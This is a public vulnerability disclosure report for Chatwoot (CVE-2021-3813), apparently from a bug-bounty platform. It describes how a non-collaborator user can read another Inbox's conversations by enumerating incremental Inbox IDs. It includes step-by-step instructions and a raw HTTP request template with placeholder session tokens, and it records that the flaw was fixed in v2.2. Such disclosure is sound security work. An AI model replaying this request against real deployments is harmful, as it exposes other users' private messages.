Improper Privilege Management in chatwoot/chatwoot

0

Valid Reported on Sep 6th 2021

✍️ Description

A user without collaborator access to an Inbox is able to reveal the messages from it, by guessing the ID of the Inbox.

🦹 Proof of Concept

1; With an Administrator user, create an Inbox (email type)
2; Only add the Administrator itself to the list of collaborators in the Inbox
3; Create two different account (`A` and `B` user, none of them are Administrators)
3; Send a message to the previously created `A` user with the Administrator
4; Log in with user `B` , and obtain the following values from the cookie and headers:
`uid`
`access-token`
`client`
`whole cookie value`
`account_id`
5; With the Administrator, reveal the ID of the Inbox, by getting it from the URL, when the Inbox is opened. This is an incremental value, so the malicious user can easily enumerate it.
6; Use the request attached below, and replace the values mentioned above in the request, and also insert the `inbox_id` value

```
GET /api/v1/accounts/2/conversations?inbox_id=<INSERT_INBOX_ID_HERE>&status
Host: <INSERT_HOSTNAME_HERE>:3000
Accept: application/json, text/plain, */*
expiry: 1636142330
token-type: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Referer: http://<INSER_HOSTNAME_HERE>:3000/app/accounts/2/inbox/1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"8ed557c413e99925a3a4c825069d35f9"
Connection: close
Cookie: <INSERT_COOKIE_HERE>
uid: <INSERT_UID_HERE>
access-token: <INSERT_ACCESS_TOKEN_HERE>
client: <INSERT_CLIENT_HERE>
Content-Length: 2
```

Upon sending the crafted request, the whole details of the Inbox are shown for the non-collaborator user.

💥 Impact

All the Inboxes are exposed for any user, even if they are not a collaborator of the Inbox itself.

CVE
CVE-2021-3813
(Published)

Vulnerability Type
CWE-269: Improper Privilege Management

Severity
Medium (6.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

TheLabda
@thelabda
noisy

We have contacted a member of the **chatwoot** team and are waiting to hear back a year ago

Sojan Jose validated this vulnerability a year ago

TheLabda has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Sojan Jose marked this as fixed in **v2.2** with commit **9454c6** 10 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation